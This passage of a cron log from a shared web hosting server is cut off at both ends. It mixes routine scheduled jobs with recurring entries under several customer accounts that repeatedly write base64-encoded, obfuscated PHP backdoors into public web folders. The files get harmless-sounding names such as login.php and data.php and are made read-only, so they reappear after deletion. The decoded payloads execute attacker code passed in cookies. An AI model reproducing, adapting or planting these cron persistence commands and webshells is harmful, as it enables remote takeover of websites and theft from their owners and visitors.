JpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:32:01 medusa CROND[32637]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:32:01 medusa CROND[32641]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:32:01 medusa CROND[32644]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:32:01 medusa CROND[32645]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:32:01 medusa CROND[32646]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:32:01 medusa CROND[32642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:32:01 medusa CROND[32643]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 13:33:01 medusa CROND[24389]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:33:01 medusa CROND[24457]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 13:33:01 medusa CROND[24475]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:33:01 medusa CROND[24476]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:33:01 medusa CROND[24478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:33:01 medusa CROND[24480]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:33:01 medusa CROND[24481]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:33:01 medusa CROND[24485]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:33:01 medusa CROND[24487]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:33:01 medusa CROND[24488]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:33:01 medusa CROND[24490]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:33:01 medusa CROND[24489]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:34:01 medusa CROND[16838]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:34:01 medusa CROND[16906]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:34:01 medusa CROND[16907]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:34:01 medusa CROND[16908]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:34:01 medusa CROND[16909]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:34:01 medusa CROND[16919]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:34:01 medusa CROND[16918]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1k